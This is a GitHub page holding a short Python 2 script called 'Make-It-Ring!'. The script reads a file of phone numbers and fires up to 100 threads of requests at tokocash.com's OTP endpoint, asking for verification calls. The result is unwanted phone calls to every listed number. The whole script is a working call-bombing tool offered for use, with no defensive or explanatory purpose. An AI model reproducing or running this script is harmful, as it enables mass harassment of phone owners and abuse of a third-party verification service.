-
Notifications
You must be signed in to change notification settings - Fork 1
/
4.py
49 lines (49 loc) · 1.3 KB
/
4.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
print("""\
__ __________ __
/ |/ / _/ _ \/ / | Make-It-Ring!
/ /|_/ // // , _/_/ | Author: P4kL0nc4t
/_/ /_/___/_/|_(_) | https://github.com/p4kl0nc4t
""")
import thread
import requests
import sys
try:
file = sys.argv[1]
except:
print("usage: {} <numbers_list>".format(sys.argv[0]))
sys.exit()
numbers = open(sys.argv[1], "r").readlines()
count = 0
processc = 0
running_threads = 0
print_used = False
max_threads = 100
print("[-----info-----]: read {} numbers from {}".format(len(numbers), file))
def process(number):
global running_threads
global processc
global print_used
running_threads += 1
number = number.rstrip()
url = "https://www.tokocash.com/oauth/otp"
data = {"msisdn": number.rstrip(), "accept": "call"}
headers = {"X-Requested-With": "XMLHttpRequest"}
r = requests.post(url, data=data, headers=headers)
while print_used:
pass
print_used = True
print("\r[0x" + str(thread.get_ident()) + "]: " + number + " (status: " + r.json()['code'] + ")")
print_used = False
processc += 1
running_threads -= 1
return 1
for number in numbers:
while running_threads >= max_threads:
pass
if number == "" or number[0] == ";": continue
count += 1
thread.start_new_thread(process, ( number, ))
while processc != count:
pass
print("[-----done-----]: Success Send Semua Ke No List")
sys.exit()